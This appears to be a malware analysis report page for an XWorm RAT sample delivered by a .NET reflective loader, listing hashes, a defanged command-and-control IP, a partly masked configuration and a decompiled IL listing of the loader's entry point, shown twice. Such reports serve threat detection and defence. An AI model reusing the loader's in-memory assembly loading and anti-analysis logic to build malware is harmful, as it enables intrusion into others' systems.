Malicious
Malicious

18b00e76897a30521ecb8fc15bd6e251

PE Executable
MD5: 18b00e76897a30521ecb8fc15bd6e251
Size: 216.58 KB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

This sample is a 211.5 KB PE Executable identified by Malva.RE as .NET Reflective Loader / XWorm (loader, crypter, rat). Static analysis extracted 14 embedded or derived files, a malware configuration (XWorm config.) and 1 command-and-control endpoint. It matches 19 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
a918ece64739fd805355df17b8cc8de205d8392e789a08a98648f383851d91fe
MD5
18b00e76897a30521ecb8fc15bd6e251
Verdict
Malicious
File type
PE Executable · 211.5 KB
Family
.NET Reflective LoaderXWorm
Category
Loader, Crypter, RAT
C2 (defanged)
103[.]118[.]252[.]177

Cite this report: https://app.malva.re/sha256/a918ece64739fd805355df17b8cc8de205d8392e789a08a98648f383851d91fe

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Size
216.58 KB · 216,576 B
First seen
2026-11-02 13:45 · 7 hours ago
Last seen
2026-11-02 13:45 · 7 hours ago
Last analysis
2026-11-02 13:45 · 7 hours ago
Hashes
MD5 18b00e76897a30521ecb8fc15bd6e251 Sha1 b1cdb9bc6d6bddacaf2ba2ae07a4a279a28ce95b Sha256 a918ece64739fd805355df17b8cc8de205d8392e789a08a98648f383851d91fe Sha384 083b792bc70c73ae0744055304d204aee01566c6081a497a9e3d7c9b94cd1bfa6f185053c6cbef7e4c64564883695c80 Sha512 a0bebd35a092fcffa92caebb315ac2d260bb5f0af2eb9f6ea8b5aca9516266f7471cc035677729e71fceb7f857b7eb22b0dc1bfe2c52f6ee33fafd6476fb7aad SSDeep 3072:Cvwz+gJdSxrQbNgMxLG/ealPkfkETwbJQ/HX1pr7+bvIUEDb9iy/eT:CvSU0NZxVapk1ssHr7+jIUA9iy TLSH C92401A8F3D58D64D87F87368D3D03580AB6FD975850D71B09CF886E2EE2AC4A524F90
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Medium

2 malicious · 15 files
EXE18b00e76897a30521ecb8fc15bd6e251XWorm
Structure
BIN.Net Resources
DATr158286.dat
BIN.Net Reflective Loader
EXEr158286.dat [AES Decrypted]XWorm
Structure
BINOverlay_68c524f4.bin
BINResources
BINRT_ICON
BINID:0001
IMGID:0
IMGID:0-preview.png
BINID:0002
BINID:0
BINID:0003
BINID:0
BINID:0004
BINID:0
BINID:0005
BINID:0
BINID:0006
BINID:0
BINRT_GROUP_CURSOR4
BINID:0001
BINID:0
BINRT_VERSION
BINID:0001
BINID:0
BINResources
BINRT_VERSION
BINID:0001
BINID:0
BINRT_MANIFEST
BINID:0001
BINID:0
STICH beta Structural Threat Infection Chain Hash

A content-independent fingerprint of the infection method: successive formats, internal objects and MITRE techniques from the initial file to each final payload.

STICH Path = the fingerprint (canonical chain with techniques) STICH Shape = structure only Only determinant branches produce STICH Paths.
3 / 3
Path pe:exe>pe:rsrc>img
Shape pe:exe>pe:rsrc>img
malicious 3 nodes
Path pe:exe>pe:rsrc>bin
Shape pe:exe>pe:rsrc>bin
malicious 3 nodes

Config. Field Value
Mutex WTvF1huhuhuhuhuhuhu
Hosts 127.0.huhuhuhuhuhuhu
Port 1huhuhuhu
KEY <12huhuhuhu
USBNM <Xwhuhuhuhu
LoggerPath %Thuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential

Name Value
Module Name
ClientHost.exe
Full Name
ClientHost.exe
EntryPoint
System.Void EMktujTAJ.TQPBpKDH::Main()
Scope Name
ClientHost.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ClientHost
Assembly Version
7.8.1.49
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
319
Main Method
System.Void EMktujTAJ.TQPBpKDH::Main()
Main IL Instruction Count
193
Main IL 
call System.String[] System.Environment::GetCommandLineArgs()
stloc.s V_10
ldc.i4.0 <null>
stloc.s V_11
br.s IL_002C: ldloc.s V_11
ldloc.s V_10
ldloc.s V_11
ldelem.ref <null>
stloc.0 <null>
ldloc.0 <null>
ldstr -avkill
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0026: ldloc.s V_11
call System.Void EMktujTAJ.TQPBpKDH::YaoGHEA()
leave.s IL_0040: ret
ldloc.s V_11
ldc.i4.1 <null>
add <null>
stloc.s V_11
ldloc.s V_11
ldloc.s V_10
ldlen <null>
conv.i4 <null>
blt.s IL_000C: ldloc.s V_10
call System.Boolean EMktujTAJ.TQPBpKDH::RDKncWuhI()
brfalse.s IL_0041: call System.Boolean EMktujTAJ.TQPBpKDH::NlyPEYR()
call System.Void EMktujTAJ.TQPBpKDH::MyjIZXc()
ret <null>
call System.Boolean EMktujTAJ.TQPBpKDH::NlyPEYR()
brfalse.s IL_004E: ldc.i4.m1
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldc.i4.m1 <null>
stloc.1 <null>
call System.String[] System.Environment::GetCommandLineArgs()
stloc.2 <null>
ldc.i4.0 <null>
stloc.3 <null>
br.s IL_007E: ldloc.3
ldloc.2 <null>
ldloc.3 <null>
ldelem.ref <null>
ldstr -r
callvirt System.Boolean System.String::StartsWith(System.String)
brfalse.s IL_007A: ldloc.3
ldloc.2 <null>
ldloc.3 <null>
ldelem.ref <null>
ldc.i4.2 <null>
callvirt System.String System.String::Substring(System.Int32)
ldloca.s V_1
call System.Boolean System.Int32::TryParse(System.String,System.Int32&)
pop <null>
ldloc.3 <null>
ldc.i4.1 <null>
add <null>
stloc.3 <null>
ldloc.3 <null>
ldloc.2 <null>
ldlen <null>
conv.i4 <null>
blt.s IL_005A: ldloc.2
ldloc.1 <null>
ldc.i4.0 <null>
bge.s IL_008E: ldstr "main role="
call System.Int32 EMktujTAJ.TQPBpKDH::McPIwVoob()
stloc.1 <null>
ldstr main role=
ldloc.1 <null>
box System.Int32
call System.String System.String::Concat(System.Object,System.Object)
call System.Void EMktujTAJ.TQPBpKDH::xolCln(System.String)
ldloc.1 <null>
ldc.i4.0 <null>
bge.s IL_00BE: call System.Boolean EMktujTAJ.TQPBpKDH::iIsoCWrG()
call System.Boolean EMktujTAJ.TQPBpKDH::iIsoCWrG()
brfalse.s IL_00BD: ret
ldc.i4 12000
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void EMktujTAJ.TQPBpKDH::xlnPexw()
ret <null>
call System.Boolean EMktujTAJ.TQPBpKDH::iIsoCWrG()
brtrue.s IL_00C6: ldc.i4.1
ret <null>
ldc.i4.1 <null>
ldstr š‡”¶™Œ§¯œ¼­¨µ
call System.String EMktujTAJ.TQPBpKDH::U(System.String)
ldloc.1 <null>
box System.Int32
call System.String System.String::Concat(System.Object,System.Object)
ldloca.s V_4
newobj System.Void System.Threading.Mutex::.ctor(System.Boolean,System.String,System.Boolean&)
stloc.s V_5
ldloc.s V_4
brtrue.s IL_00EE: ldstr "role "
leave IL_0040: ret
ldstr role 
ldloc.1 <null>
box System.Int32
ldstr  alive
call System.String System.String::Concat(System.Object,System.Object,System.Object)
call System.Void EMktujTAJ.TQPBpKDH::xolCln(System.String)
ldloc.1 <null>
brtrue IL_0216: ldnull
call System.Void EMktujTAJ.TQPBpKDH::oiLTzxoY()
call System.Void EMktujTAJ.TQPBpKDH::ZhdgGdJw()
call System.Void EMktujTAJ.TQPBpKDH::wNTTGk()
call System.Byte[] EMktujTAJ.TQPBpKDH::KUprdE()
stloc.s V_6
ldloc.s V_6
brtrue.s IL_012D: ldloc.s V_6
leave IL_0040: ret
ldloc.s V_6
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
stsfld System.Reflection.Assembly EMktujTAJ.TQPBpKDH::DMDphSgCC
ldsfld System.Reflection.Assembly EMktujTAJ.TQPBpKDH::DMDphSgCC
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
stsfld System.Reflection.MethodInfo EMktujTAJ.TQPBpKDH::RsKZpmV
ldsfld System.Reflection.MethodInfo EMktujTAJ.TQPBpKDH::RsKZpmV
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
ldlen <null>
conv.i4 <null>
brfalse.s IL_016C: ldc.i4.0
ldc.i4.1 <null>
newarr System.Object
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4.0 <null>
newarr System.String
stelem.ref <null>
ldloc.s V_12
br.s IL_0172: stsfld System.Object[] EMktujTAJ.TQPBpKDH::elaiGzCj
ldc.i4.0 <null>
newarr System.Object
stsfld System.Object[] EMktujTAJ.TQPBpKDH::elaiGzCj
ldstr loaded 
ldsfld System.Reflection.Assembly EMktujTAJ.TQPBpKDH::DMDphSgCC
callvirt System.String System.Reflection.Assembly::get_FullName()
call System.String System.String::Concat(System.String,System.String)
call System.Void EMktujTAJ.TQPBpKDH::xolCln(System.String)
leave.s IL_01B4: ldnull
stloc.s V_7
ldstr load ex 
ldloc.s V_7
callvirt System.Type System.Exception::GetType()
callvirt System.String System.Reflection.MemberInfo::get_Name()
call System.String System.String::Concat(System.String,System.String)
call System.Void EMktujTAJ.TQPBpKDH::xolCln(System.String)
leave IL_0040: ret
ldnull <null>
ldftn System.Void EMktujTAJ.TQPBpKDH::ZycPIx()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stsfld System.Threading.Thread EMktujTAJ.TQPBpKDH::OmnmBn
ldsfld System.Threading.Thread EMktujTAJ.TQPBpKDH::OmnmBn
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldsfld System.Threading.Thread EMktujTAJ.TQPBpKDH::OmnmBn
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState)
ldsfld System.Threading.Thread EMktujTAJ.TQPBpKDH::OmnmBn
callvirt System.Void System.Threading.Thread::Start()
ldstr entry start
call System.Void EMktujTAJ.TQPBpKDH::xolCln(System.String)
ldnull <null>
ldftn System.Void EMktujTAJ.TQPBpKDH::FxQlKiF()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_8
ldloc.s V_8
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc.s V_8
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void EMktujTAJ.TQPBpKDH::WZygOi()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_9
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc.s V_9
callvirt System.Void System.Threading.Thread::Start()
ldc.i4 600000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_0238: ldc.i4 600000
ldloc.s V_5
brfalse.s IL_024F: endfinally
ldloc.s V_5
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
Module Name
ClientHost.exe
Full Name
ClientHost.exe
EntryPoint
System.Void EMktujTAJ.TQPBpKDH::Main()
Scope Name
ClientHost.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ClientHost
Assembly Version
7.8.1.49
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
319
Main Method
System.Void EMktujTAJ.TQPBpKDH::Main()
Main IL Instruction Count
193
Main IL 
call System.String[] System.Environment::GetCommandLineArgs()
stloc.s V_10
ldc.i4.0 <null>
stloc.s V_11
br.s IL_002C: ldloc.s V_11
ldloc.s V_10
ldloc.s V_11
ldelem.ref <null>
stloc.0 <null>
ldloc.0 <null>
ldstr -avkill
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0026: ldloc.s V_11
call System.Void EMktujTAJ.TQPBpKDH::YaoGHEA()
leave.s IL_0040: ret
ldloc.s V_11
ldc.i4.1 <null>
add <null>
stloc.s V_11
ldloc.s V_11
ldloc.s V_10
ldlen <null>
conv.i4 <null>
blt.s IL_000C: ldloc.s V_10
call System.Boolean EMktujTAJ.TQPBpKDH::RDKncWuhI()
brfalse.s IL_0041: call System.Boolean EMktujTAJ.TQPBpKDH::NlyPEYR()
call System.Void EMktujTAJ.TQPBpKDH::MyjIZXc()
ret <null>
call System.Boolean EMktujTAJ.TQPBpKDH::NlyPEYR()
brfalse.s IL_004E: ldc.i4.m1
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldc.i4.m1 <null>
stloc.1 <null>
call System.String[] System.Environment::GetCommandLineArgs()
stloc.2 <null>
ldc.i4.0 <null>
stloc.3 <null>
br.s IL_007E: ldloc.3
ldloc.2 <null>
ldloc.3 <null>
ldelem.ref <null>
ldstr -r
callvirt System.Boolean System.String::StartsWith(System.String)
brfalse.s IL_007A: ldloc.3
ldloc.2 <null>
ldloc.3 <null>
ldelem.ref <null>
ldc.i4.2 <null>
callvirt System.String System.String::Substring(System.Int32)
ldloca.s V_1
call System.Boolean System.Int32::TryParse(System.String,System.Int32&)
pop <null>
ldloc.3 <null>
ldc.i4.1 <null>
add <null>
stloc.3 <null>
ldloc.3 <null>
ldloc.2 <null>
ldlen <null>
conv.i4 <null>
blt.s IL_005A: ldloc.2
ldloc.1 <null>
ldc.i4.0 <null>
bge.s IL_008E: ldstr "main role="
call System.Int32 EMktujTAJ.TQPBpKDH::McPIwVoob()
stloc.1 <null>
ldstr main role=
ldloc.1 <null>
box System.Int32
call System.String System.String::Concat(System.Object,System.Object)
call System.Void EMktujTAJ.TQPBpKDH::xolCln(System.String)
ldloc.1 <null>
ldc.i4.0 <null>
bge.s IL_00BE: call System.Boolean EMktujTAJ.TQPBpKDH::iIsoCWrG()
call System.Boolean EMktujTAJ.TQPBpKDH::iIsoCWrG()
brfalse.s IL_00BD: ret
ldc.i4 12000
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void EMktujTAJ.TQPBpKDH::xlnPexw()
ret <null>
call System.Boolean EMktujTAJ.TQPBpKDH::iIsoCWrG()
brtrue.s IL_00C6: ldc.i4.1
ret <null>
ldc.i4.1 <null>
ldstr š‡”¶™Œ§¯œ¼­¨µ
call System.String EMktujTAJ.TQPBpKDH::U(System.String)
ldloc.1 <null>
box System.Int32
call System.String System.String::Concat(System.Object,System.Object)
ldloca.s V_4
newobj System.Void System.Threading.Mutex::.ctor(System.Boolean,System.String,System.Boolean&)
stloc.s V_5
ldloc.s V_4
brtrue.s IL_00EE: ldstr "role "
leave IL_0040: ret
ldstr role 
ldloc.1 <null>
box System.Int32
ldstr  alive
call System.String System.String::Concat(System.Object,System.Object,System.Object)
call System.Void EMktujTAJ.TQPBpKDH::xolCln(System.String)
ldloc.1 <null>
brtrue IL_0216: ldnull
call System.Void EMktujTAJ.TQPBpKDH::oiLTzxoY()
call System.Void EMktujTAJ.TQPBpKDH::ZhdgGdJw()
call System.Void EMktujTAJ.TQPBpKDH::wNTTGk()
call System.Byte[] EMktujTAJ.TQPBpKDH::KUprdE()
stloc.s V_6
ldloc.s V_6
brtrue.s IL_012D: ldloc.s V_6
leave IL_0040: ret
ldloc.s V_6
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
stsfld System.Reflection.Assembly EMktujTAJ.TQPBpKDH::DMDphSgCC
ldsfld System.Reflection.Assembly EMktujTAJ.TQPBpKDH::DMDphSgCC
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
stsfld System.Reflection.MethodInfo EMktujTAJ.TQPBpKDH::RsKZpmV
ldsfld System.Reflection.MethodInfo EMktujTAJ.TQPBpKDH::RsKZpmV
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
ldlen <null>
conv.i4 <null>
brfalse.s IL_016C: ldc.i4.0
ldc.i4.1 <null>
newarr System.Object
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4.0 <null>
newarr System.String
stelem.ref <null>
ldloc.s V_12
br.s IL_0172: stsfld System.Object[] EMktujTAJ.TQPBpKDH::elaiGzCj
ldc.i4.0 <null>
newarr System.Object
stsfld System.Object[] EMktujTAJ.TQPBpKDH::elaiGzCj
ldstr loaded 
ldsfld System.Reflection.Assembly EMktujTAJ.TQPBpKDH::DMDphSgCC
callvirt System.String System.Reflection.Assembly::get_FullName()
call System.String System.String::Concat(System.String,System.String)
call System.Void EMktujTAJ.TQPBpKDH::xolCln(System.String)
leave.s IL_01B4: ldnull
stloc.s V_7
ldstr load ex 
ldloc.s V_7
callvirt System.Type System.Exception::GetType()
callvirt System.String System.Reflection.MemberInfo::get_Name()
call System.String System.String::Concat(System.String,System.String)
call System.Void EMktujTAJ.TQPBpKDH::xolCln(System.String)
leave IL_0040: ret
ldnull <null>
ldftn System.Void EMktujTAJ.TQPBpKDH::ZycPIx()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stsfld System.Threading.Thread EMktujTAJ.TQPBpKDH::OmnmBn
ldsfld System.Threading.Thread EMktujTAJ.TQPBpKDH::OmnmBn
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldsfld System.Threading.Thread EMktujTAJ.TQPBpKDH::OmnmBn
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState)
ldsfld System.Threading.Thread EMktujTAJ.TQPBpKDH::OmnmBn
callvirt System.Void System.Threading.Thread::Start()
ldstr entry start
call System.Void EMktujTAJ.TQPBpKDH::xolCln(System.String)
ldnull <null>
ldftn System.Void EMktujTAJ.TQPBpKDH::FxQlKiF()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_8
ldloc.s V_8
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc.s V_8
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void EMktujTAJ.TQPBpKDH::WZygOi()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_9
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc.s V_9
callvirt System.Void System.Threading.Thread::Start()
ldc.i4 600000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_0238: ldc.i4 600000
ldloc.s V_5
brfalse.s IL_024F: endfinally
ldloc.s V_5
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>

Mutex MUTEXmalicious
WTvF1huhuhuhuhuhuhu
CnC CNCmalicious
127huhuhuhu
CnC CNCmalicious
103.1huhuhuhuhuhuhu
Port PORTmalicious
1huhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential

2 malicious · 15 files
EXE18b00e76897a30521ecb8fc15bd6e251XWorm
Structure
BIN.Net Reflective Loader
EXEr158286.dat [AES Decrypted]XWorm
Structure
BINOverlay_68c524f4.bin

Config. Field Value
Mutex WTvF1huhuhuhuhuhuhu
Hosts 127.0.huhuhuhuhuhuhu
Port 1huhuhuhu
KEY <12huhuhuhu
USBNM <Xwhuhuhuhu
LoggerPath %Thuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential

Mutex MUTEXmalicious
WTvF1huhuhuhuhuhuhu
18b00e76897a30521ecb8fc15bd6e251 › .Net Reflective Loader › r158286.dat [AES Decrypted]
CnC CNCmalicious
127huhuhuhu
18b00e76897a30521ecb8fc15bd6e251 › .Net Reflective Loader › r158286.dat [AES Decrypted]
CnC CNCmalicious
103.1huhuhuhuhuhuhu
18b00e76897a30521ecb8fc15bd6e251 › .Net Reflective Loader › r158286.dat [AES Decrypted]
Port PORTmalicious
1huhuhuhu
18b00e76897a30521ecb8fc15bd6e251 › .Net Reflective Loader › r158286.dat [AES Decrypted]
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
Sign in or create a free account to view the matching YARA rules. Create a free account
An error has occurred. This application may no longer respond until reloaded. Reload 🗙